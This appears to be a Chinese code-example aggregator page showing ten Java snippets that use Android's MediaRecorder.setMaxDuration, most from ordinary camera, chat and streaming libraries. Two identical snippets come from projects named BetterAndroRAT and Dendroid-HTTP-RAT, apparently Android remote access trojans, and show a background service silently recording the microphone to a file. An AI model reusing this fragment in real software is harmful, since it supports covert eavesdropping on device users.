android.media.MediaRecorder#setMaxDuration ( )源码实例Demo

下面列出了android.media.MediaRecorder#setMaxDuration ( ) 实例代码，或者点击链接到github查看源代码，也可以在右侧发表评论。

源代码1 项目： VMLibrary 文件： VMRecorder.java

/**
 * 初始化录制音频
 */
public void initVoiceRecorder() {
    // 实例化媒体录影机
    mMediaRecorder = new MediaRecorder();
    // 设置音频源为麦克风
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    /**
     * 设置音频文件编码格式，这里设置默认
     * https://developer.android.com/reference/android/media/MediaRecorder.AudioEncoder.html
     */
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
    /**
     * 设置音频文件输出格式
     * https://developer.android.com/reference/android/media/MediaRecorder.OutputFormat.html
     */
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    // 设置音频采样率
    mMediaRecorder.setAudioSamplingRate(mSamplingRate);
    // 设置音频编码比特率
    mMediaRecorder.setAudioEncodingBitRate(mEncodingBitRate);
    // 设置录音最大持续时间
    mMediaRecorder.setMaxDuration(mMaxDuration);
}

源代码2 项目： CoolChat 文件： RecordButton.java

private void init() {

        //如果文件夹不创建的话那么执行到recorder.prepare()就会报错
        File dir = new File(audioPath);
        if (!dir.exists()) {
            dir.mkdirs();
        }

        recorder = new MediaRecorder();
        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
        recorder.setMaxDuration(MAX_LENGTH);
        recorder.setOutputFile(audioFileName);
        try {
            recorder.prepare();
        } catch (IOException e) {
            e.printStackTrace();
            LogUtils.e("MediaRecorder prepare()报错");
        }
    }

源代码3 项目： NIM_Android_UIKit 文件： CaptureVideoActivity.java

private boolean startRecorderInternal() throws Exception {
    shutdownCamera();
    if (!initCamera()) {
        return false;
    }
    switchCamera.setVisibility(View.GONE);
    mediaRecorder = new MediaRecorder();
    camera.unlock();
    mediaRecorder.setCamera(camera);
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
    mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
    setCamcorderProfile();
    mediaRecorder.setPreviewDisplay(surfaceHolder.getSurface());
    mediaRecorder.setMaxDuration(1000 * VIDEO_TIMES);
    mediaRecorder.setOutputFile(filename);
    setVideoOrientation();
    mediaRecorder.prepare();
    mediaRecorder.start();
    return true;
}

源代码4 项目： CameraView 文件： JCameraView.java

private void startRecord() {
    mediaRecorder = new MediaRecorder();
    mediaRecorder.reset();
    mCamera.unlock();
    // 设置录制视频源为Camera(相机)
    mediaRecorder.setCamera(mCamera);
    mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    // 设置录制完成后视频的封装格式THREE_GPP为3gp.MPEG_4为mp4
    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    // 设置录制的视频编码h263 h264
    mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    // 设置视频录制的分辨率。必须放在设置编码和格式的后面，否则报错
    mediaRecorder.setVideoSize(width, height);
    // 设置录制的视频帧率。必须放在设置编码和格式的后面，否则报错
    if (SELECTED_CAMERA == CAMERA_FRONT_POSITION) {
        mediaRecorder.setOrientationHint(270);
    } else {
        mediaRecorder.setOrientationHint(90);
    }
    mediaRecorder.setMaxDuration(10000);
    mediaRecorder.setVideoEncodingBitRate(5 * 1024 * 1024);
    mediaRecorder.setVideoFrameRate(20);
    mediaRecorder.setPreviewDisplay(mHolder.getSurface());
    // 设置视频文件输出的路径
    mediaRecorder.setOutputFile("/sdcard/love.mp4");
    try {
        //准备录制
        mediaRecorder.prepare();
        // 开始录制
        mediaRecorder.start();
    } catch (IOException e) {
        e.printStackTrace();
    }
}

源代码5 项目： VideoCamera 文件： VideoRecorder.java

@SuppressWarnings("deprecation")
protected void configureMediaRecorder(final MediaRecorder recorder, android.hardware.Camera camera) throws IllegalStateException, IllegalArgumentException {
    recorder.setCamera(camera);
    recorder.setAudioSource(mCaptureConfiguration.getAudioSource());
    recorder.setVideoSource(mCaptureConfiguration.getVideoSource());

    CamcorderProfile baseProfile = mCameraWrapper.getBaseRecordingProfile();
    baseProfile.fileFormat = mCaptureConfiguration.getOutputFormat();

    RecordingSize size = mCameraWrapper.getSupportedRecordingSize(mCaptureConfiguration.getVideoWidth(), mCaptureConfiguration.getVideoHeight());
    baseProfile.videoFrameWidth = size.width;
    baseProfile.videoFrameHeight = size.height;
    baseProfile.videoBitRate = mCaptureConfiguration.getVideoBitrate();

    baseProfile.audioCodec = mCaptureConfiguration.getAudioEncoder();
    baseProfile.videoCodec = mCaptureConfiguration.getVideoEncoder();

    recorder.setProfile(baseProfile);
    recorder.setMaxDuration(mCaptureConfiguration.getMaxCaptureDuration());
    recorder.setOutputFile(mVideoFile.getFullPath());
    recorder.setOrientationHint(mCameraWrapper.getRotationCorrection());

    try {
        recorder.setMaxFileSize(mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (IllegalArgumentException e) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - illegal argument: " + mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (RuntimeException e2) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - runtime exception");
    }
    recorder.setOnInfoListener(this);
}

源代码6 项目： BetterAndroRAT 文件： MyService.java

@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }

源代码7 项目： ChatMessagesAdapter-android 文件： AudioRecorder.java

private void initMediaRecorder() {
    recorder = new MediaRecorder();
    recorder.setAudioSource(configurationBuilder.audioSource);
    recorder.setOutputFormat(configurationBuilder.outputFormat);
    recorder.setOutputFile(configurationBuilder.filePath);
    recorder.setAudioChannels(configurationBuilder.channels);
    recorder.setAudioEncoder(configurationBuilder.audioEncoder);
    recorder.setAudioEncodingBitRate(configurationBuilder.bitRate);
    recorder.setAudioSamplingRate(configurationBuilder.samplingRate);
    recorder.setMaxDuration(configurationBuilder.duration);
    recorder.setOnInfoListener(new OnInfoListenerImpl());
    recorder.setOnErrorListener(new OnErrorListenerImpl());
}

源代码8 项目： Dendroid-HTTP-RAT 文件： MyService.java

@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }

源代码9 项目： LandscapeVideoCamera 文件： VideoRecorder.java

@SuppressWarnings("deprecation")
protected void configureMediaRecorder(final MediaRecorder recorder, android.hardware.Camera camera)
        throws IllegalStateException, IllegalArgumentException {
    recorder.setCamera(camera);
    recorder.setAudioSource(mCaptureConfiguration.getAudioSource());
    recorder.setVideoSource(mCaptureConfiguration.getVideoSource());

    CamcorderProfile baseProfile = mCameraWrapper.getBaseRecordingProfile();
    baseProfile.fileFormat = mCaptureConfiguration.getOutputFormat();

    RecordingSize size = mCameraWrapper.getSupportedRecordingSize(mCaptureConfiguration.getVideoWidth(), mCaptureConfiguration.getVideoHeight());
    baseProfile.videoFrameWidth = size.width;
    baseProfile.videoFrameHeight = size.height;
    baseProfile.videoBitRate = mCaptureConfiguration.getVideoBitrate();

    baseProfile.audioCodec = mCaptureConfiguration.getAudioEncoder();
    baseProfile.videoCodec = mCaptureConfiguration.getVideoEncoder();

    recorder.setProfile(baseProfile);
    recorder.setMaxDuration(mCaptureConfiguration.getMaxCaptureDuration());
    recorder.setOutputFile(mVideoFile.getFullPath());
    recorder.setOrientationHint(mCameraWrapper.getRotationCorrection());
    recorder.setVideoFrameRate(mCaptureConfiguration.getVideoFPS());

    try {
        recorder.setMaxFileSize(mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (IllegalArgumentException e) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - illegal argument: " + mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (RuntimeException e2) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - runtime exception");
    }
    recorder.setOnInfoListener(this);
}

源代码10 项目： libstreaming 文件： AACStream.java

/** 
 * Records a short sample of AAC ADTS from the microphone to find out what the sampling rate really is
 * On some phone indeed, no error will be reported if the sampling rate used differs from the 
 * one selected with setAudioSamplingRate 
 * @throws IOException 
 * @throws IllegalStateException
 */
@SuppressLint("InlinedApi")
private void testADTS() throws IllegalStateException, IOException {
	
	setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
	try {
		Field name = MediaRecorder.OutputFormat.class.getField("AAC_ADTS");
		setOutputFormat(name.getInt(null));
	}
	catch (Exception ignore) {
		setOutputFormat(6);
	}

	String key = PREF_PREFIX+"aac-"+mQuality.samplingRate;

	if (mSettings!=null && mSettings.contains(key)) {
		String[] s = mSettings.getString(key, "").split(",");
		mQuality.samplingRate = Integer.valueOf(s[0]);
		mConfig = Integer.valueOf(s[1]);
		mChannel = Integer.valueOf(s[2]);
		return;
	}

	final String TESTFILE = Environment.getExternalStorageDirectory().getPath()+"/spydroid-test.adts";

	if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
		throw new IllegalStateException("No external storage or external storage not ready !");
	}

	// The structure of an ADTS packet is described here: http://wiki.multimedia.cx/index.php?title=ADTS

	// ADTS header is 7 or 9 bytes long
	byte[] buffer = new byte[9];

	mMediaRecorder = new MediaRecorder();
	mMediaRecorder.setAudioSource(mAudioSource);
	mMediaRecorder.setOutputFormat(mOutputFormat);
	mMediaRecorder.setAudioEncoder(mAudioEncoder);
	mMediaRecorder.setAudioChannels(1);
	mMediaRecorder.setAudioSamplingRate(mQuality.samplingRate);
	mMediaRecorder.setAudioEncodingBitRate(mQuality.bitRate);
	mMediaRecorder.setOutputFile(TESTFILE);
	mMediaRecorder.setMaxDuration(1000);
	mMediaRecorder.prepare();
	mMediaRecorder.start();

	// We record for 1 sec
	// TODO: use the MediaRecorder.OnInfoListener
	try {
		Thread.sleep(2000);
	} catch (InterruptedException e) {}

	mMediaRecorder.stop();
	mMediaRecorder.release();
	mMediaRecorder = null;

	File file = new File(TESTFILE);
	RandomAccessFile raf = new RandomAccessFile(file, "r");

	// ADTS packets start with a sync word: 12bits set to 1
	while (true) {
		if ( (raf.readByte()&0xFF) == 0xFF ) {
			buffer[0] = raf.readByte();
			if ( (buffer[0]&0xF0) == 0xF0) break;
		}
	}

	raf.read(buffer,1,5);

	mSamplingRateIndex = (buffer[1]&0x3C)>>2 ;
	mProfile = ( (buffer[1]&0xC0) >> 6 ) + 1 ;
	mChannel = (buffer[1]&0x01) << 2 | (buffer[2]&0xC0) >> 6 ;
	mQuality.samplingRate = AUDIO_SAMPLING_RATES[mSamplingRateIndex];

	// 5 bits for the object type / 4 bits for the sampling rate / 4 bits for the channel / padding
	mConfig = (mProfile & 0x1F) << 11 | (mSamplingRateIndex & 0x0F) << 7 | (mChannel & 0x0F) << 3;

	Log.i(TAG,"MPEG VERSION: " + ( (buffer[0]&0x08) >> 3 ) );
	Log.i(TAG,"PROTECTION: " + (buffer[0]&0x01) );
	Log.i(TAG,"PROFILE: " + AUDIO_OBJECT_TYPES[ mProfile ] );
	Log.i(TAG,"SAMPLING FREQUENCY: " + mQuality.samplingRate );
	Log.i(TAG,"CHANNEL: " + mChannel );

	raf.close();

	if (mSettings!=null) {
		Editor editor = mSettings.edit();
		editor.putString(key, mQuality.samplingRate+","+mConfig+","+mChannel);
		editor.commit();
	}

	if (!file.delete()) Log.e(TAG,"Temp file could not be erased");

}